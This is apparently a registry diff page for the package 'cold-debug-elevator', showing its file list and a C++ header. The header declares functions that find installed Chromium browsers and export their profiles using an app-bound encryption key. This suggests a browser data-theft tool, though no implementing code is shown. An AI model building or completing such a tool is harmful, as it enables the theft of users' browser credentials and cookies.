cold-debug-elevator 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -0
- package/binding.gyp +40 -0
- package/index.js +7 -0
- package/package.json +13 -0
- package/src/BrowserExport.cpp +760 -0
- package/src/BrowserExport.hpp +22 -0
- package/src/DebugChromium.cpp +994 -0
- package/src/Utils.hpp +151 -0
- package/src/main.cpp +31 -0
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
#pragma once
|
|
2
|
+
|
|
3
|
+
#include <cstdint>
|
|
4
|
+
#include <filesystem>
|
|
5
|
+
#include <string>
|
|
6
|
+
#include <vector>
|
|
7
|
+
|
|
8
|
+
namespace fs = std::filesystem;
|
|
9
|
+
|
|
10
|
+
struct BrowserInstall {
|
|
11
|
+
fs::path exePath;
|
|
12
|
+
std::wstring displayName;
|
|
13
|
+
fs::path userDataPath;
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
std::vector<BrowserInstall> FindInstalledChromiumBrowsers();
|
|
17
|
+
|
|
18
|
+
bool ExportBrowserProfiles(
|
|
19
|
+
const fs::path& browserExe,
|
|
20
|
+
const std::vector<uint8_t>& appBoundKey,
|
|
21
|
+
const fs::path& outputRoot = fs::path(L"output")
|
|
22
|
+
);
|